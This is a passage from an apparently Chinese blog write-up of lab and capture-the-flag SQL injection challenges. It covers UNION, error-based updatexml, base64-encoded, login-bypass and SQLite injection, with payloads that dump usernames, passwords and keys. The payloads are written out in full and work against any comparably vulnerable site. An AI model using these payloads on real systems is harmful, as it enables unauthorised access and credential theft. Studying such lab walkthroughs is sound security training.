col_name()、object()
col_name() 可以根据id值得到对象的名称,而且可以返回指定下标显示的结果
object()数据库中每个对象都有一个唯一的id值,object_id(name)可以根据表对象名称得到对象id,object_id()只能返回用户创建的对象id,像sys开头的表都是系统表,无法返回

爆字段内容

?id=-2 union all select 1,(select username from manage),(select password from manage where username in ('admin')),null
image.png
?id=-2 union all select 1,(select password from manage),(select username from manage where password in ('password')),null
image.png

11、SQL注入漏洞测试(delete注入)

当提交留言的时候,删除,左下角会出现id


image.png

输入单引号,页面报错,测试注入 ,尝试order by ,失败


image.png

测试and,页面正常回显


image.png

尝试使用报错注入,用到的函数,之前上面也讲过。

枚举当前数据库

?id=-61  and (updatexml(null,concat(0x7e,(select database()),0x7e),1))    #pikaqiu
image.png

枚举当前表

?id=-61  and (updatexml(null,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1))   #message
image.png

爆字段

?id=-61  and (updatexml(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='message'),0x7e),1))   #id,content,time,key
image.png

爆字段的值
1.因为报错内容回显只能回显32位,而"~"占了一个字符,所以爆出来的key值是少1位的,知道原因后就有很多处理方法了,可以有right()方法,也可以爆出31位密码,最后1位一个一个试。

方法:1

?id=-61 and updatexml(1,concat(0x7e,right((select group_concat(`key`) from message),32),0x7e),0)
image.png

2.key要用单引号括住,否则会报错,因为key是保留字段。参考网站

3.因为这个是请求删除的url,前面的如果你请求id为61~65,因为墨者服务器数据库里面存的key的数据在这个范围(没精确到是哪个),当前面注入成功的时候也会删除对应id的key内容,导致最后出现爆字段key值的时候,很多评论会有key值为空的情况。如果遇到这种情况,重启环境再爆字段即可。这种方式我也是参考网上的。

方法2:

?id=-60  and  updatexml(1,concat(0x7e,(select group_concat(`key`) from message),0x7e),1)
image.png

提交flag。

10、SQL注入实战-MySQL

打开题目,发现url的id参数有一串base64,MQo=解码,得到1
利用这种思路,进行注入测试
所有参数都需要加密成base64进行测试
输入',页面出现异常,可能存在注入,继续测试

?id=MSc=
image.png

判断注入类型
and 1=1 页面正常
and 1=2 页面异常

?id=MSBhbmQgMT0x   and 1=1
?id=MSBhbmQgMT0y   and 1=2
image.png
image.png

数值型注入

判断字段长度
order by 2 页面正常 3 页面异常

?id=MSBvcmRlciBieSAy
image.png

判断显示位

?id=LTEgdW5pb24gc2VsZWN0IDEsMg==
image.png

枚举当前数据库

?id=LTEgdW5pb24gc2VsZWN0IGRhdGFiYXNlKCksMg==
image.png

枚举所有数据库

?id=-1 union select schema_name,2 from information_schema.schemata limit 0,1

通过调整limit即可遍历出所有的数据库,调整方法为limit 0,1;limit 1,2;limit 2,3……直到出现错误或异常,两个库


image.png

获取表里面的内容

?id=-1 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()
image.png

枚举表中的列

-1 union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name='data'
image.png

获取key值

?id=-1 union select group_concat(id,0x7e,title,0x7e,main,0x7e,thekey,0x7e),2 from data
image.png

得到key,进行提交

11、SQL注入漏洞测试(登录绕过)

根据题目提示使用万能密码测试
账号:'or 1=1 --+
密码随便输入或者不输入也可以

分析登陆成功原因
账号查询时把用户名和密码放在一条查询语句中查询
语句为:
select * from user where username='$username' and password="$password"
当用户名中'闭合了前面的'or 1=1 永远为真 --+是sql语句注释,所有不用数据密码即可登陆账号。

12、SQL手工注入漏洞测试(SQLite数据库)

漏洞利用前,首先要了解SQLite数据库数据结构
sqlite数据库有两个内指表:\color{red}{sqlite_master}\color{red}{sqlite_temp_master},前者存放当前数据库中所有表相关的信息,比如表的名称、用于创建此表的sql语句、索引、索引所属的表、sql语句,后者则是存放临时表的相关信息。这两个表的结构为“

type TEXT, 
name TEXT, 
tbl_name TEXT, 
rootpage INTEGER, 
sql TEXT 

sqlite有一个隐藏表sqlite_master。从里面拿到我们需要的表明。sqlite_master里的name是数据库名,sql是我们需要的字段/列名

输入单引号页面出现异常
继续测试,判断注入类型
and 1=1 页面正常
and 1=2 页面异常


image.png

数值型注入

判断字段长度

order by 4   正常,5报错
image.png

判断显示位

?id=-1 union select 1,2,3,4
image.png

枚举当前数据表 MySQL对应的是information_schema,sqlite对应sqlite_master

?id=1 union select 1,2,(select group_concat(tbl_name) from sqlite_master),4
image.png

或者

?id=1 union select 1,name,sql,4 from sqlite_master limit 0,1

通过调整limit即可遍历出所有的数据库,调整方法为limit 0,1;limit 1,2;limit 2,3……直到出现错误或异常
上面语句中name相当于mysql的table_name


image.png

字段

?id=1 union select 1,2,sql,4 from sqlite_master where type='table' and name='WSTMart_reg' limit 0,1

上列语句语句中的sql相当于mysql中的column_name


image.png

从返回的结果可以看到name,password等字段

?id=1 union select 1,name,password,4 from WSTMart_reg
image.png

解密登陆,提交flag.

上一篇下一篇

猜你喜欢

热点阅读